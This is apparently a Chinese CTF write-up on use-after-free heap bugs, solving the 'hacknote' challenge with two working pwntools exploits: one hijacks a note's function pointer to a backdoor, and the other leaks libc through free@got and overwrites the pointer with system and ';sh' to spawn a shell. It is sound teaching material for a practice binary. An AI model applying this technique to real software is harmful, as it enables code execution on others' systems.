Use After Free
2022-03-08 22:37:03

UAF:

原理:

使用被释放的内存块,其实当一个内存块被释放之后重新使用会有如下几种情况:

1、内存块被释放,其对应的指针被设置为NULL,再次使用时程序会崩溃

2、内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用前,没有对代码这块内存块进行修改,那么程序有可能可以正常运行

3、内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就有可能出现问题

一般的UAF漏洞主要是2,3,一般将释放后没有被设置为NULL的内存指针称为悬空指针

例题:

pwnable_hacknote:

检查保护:

开启了canary和nx

静态分析:
主函数:

1、创建:

创建功能首先判断说明最多创建5个8字节结构体堆块==》note==》

成员变量:puts:print_note_content的函数指针//content:自己创建的堆块(content)指针

print_note_content函数:

答应传入a1+4地址处内容

接下来创建指定大小的堆块,并在堆块的data区写入内容

2、删除:

在free堆块指针后未清空,出现UAF

3、打印:

输入index,打印出成员变量content指针处内容

4、后门:

动态分析:

分配两个0x18大小的堆块:

红色框内为note,也就是结构体堆块==》

note中第一个为print_note_content()函数指针,第二个为content_chunk的data起始地址

考虑将print_note_content()函数指针替换为后门函数地址==》执行show时直接调用后门函数

释放堆块:

由于释放堆块后指针位清空,所以在释放堆块后依然可以使用该堆块指针

此时只需申请一块note大小的堆块即可获得fastbin中的note0,和note1==》

先申请到后入的note1作为note2,再将note0作为note2的content堆块==》

只需在申请堆块的时候填入后门地址==》填入note2的content==》填入note0==》覆盖了print_note_content()函数

此时只需打印没有被清空指针的0堆块即可调用后门函数

后门exp:
#coding=UTF-8
from pwn import *
from LibcSearcher import *

io=process('./hacknote')
#io=remote()
elf=ELF('./hacknote')

def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline('1')
	io.recvuntil("Note size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.sendline(str(content))


def dele(index):
	io.recvuntil("Your choice :")
	io.sendline('2')
	io.recvuntil("Index :")
	io.sendline(str(index))

def show(index):
	io.recvuntil("Your choice :")
	io.sendline('3')
	io.recvuntil("Index :")
	io.sendline(str(index))


add(0x18,'aaaa')
add(0x18,'bbbb')

flag=0x804898F

dele(0)
dele(1)

#gdb.attach(io)
add(8,p32(flag))

show(0)

#gdb.attach(io)

io.interactive()
exp本地执行:

无后门函数思路:

程序无system,所以需要泄漏libc==》通过程序的show中的puts泄漏函数地址

所以show所指向的地址需要是函数的地址(free@got)

申请堆块,释放堆块,再申请note区域的堆块,覆盖note堆块的data区域为puts+free@got,利用未清空的堆块指针实现show,实现泄漏free函数的地址

再次释放堆块,再次申请回刚刚的note堆块,覆盖note堆块的data区域为system+’;sh\x0’,利用未清空的堆块指针实现show,实现getshell

无后门exp:
#coding=utf-8

from pwn import *
from LibcSearcher import *

context.os='linux'
#context.arch='amd64'
#context.log_level='debug'

io=remote('node4.buuoj.cn',26171)
#io=process('/home/giantbranch/桌面/rrr/hacknote' )
elf=ELF('/home/giantbranch/桌面/rrr/hacknote' )

def add(size,content):
	io.recvuntil("Your choice :")
	io.sendline('1')
	io.recvuntil("Note size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.send(content)

def delete(idx):
        io.recvuntil("Your choice :")
        io.sendline('2')
	io.recvuntil("Index :")
	io.sendline(str(idx))

def show(idx):
        io.recvuntil("Your choice :")
        io.sendline('3')
	io.recvuntil("Index :")
	io.sendline(str(idx))


add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
#add(0x20,'cccc')#2

delete(1)
delete(0)#后进先出

puts_addr=elf.sym['puts']
free_got=elf.got['free']
print(hex(puts_addr))
print(hex(free_got))
payload=p32(0x804862b)+p32(free_got)#0x804862b:puts(content的内容) ,本来free_got的位置应该是content地址

add(0x8,payload)#0,1指针还存在,所以为chunk2    note=>chunk0.note    content=>chunk1.note             fastbin后进先出

show(1)#想要的地址在chunk1.note中,chunk1指针未清空,puts(content=>free_got)
free_addr=u32(io.recv(4))
print(hex(free_addr))
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')

sys_addr=libcbase+libc.dump('system')

delete(2)#没有edit功能,所以先释放chunk1.note,再释放chunk0.note
payload=p32(sys_addr)+';sh\0'#0x8大小只能放sh,puts覆盖为system的时候system的参数是system函数本身地址,所以使用‘;’,忽略上一条执行的错误,执行下一条===>system('sh')

add(0x8,payload)#再次申请获得:note=>chunk0.note    content=>chunk1.note。这个为chunk3
show(1)#getshell在chunk1.note中,show=>system('sh')

#gdb.attach(io)
io.interactive()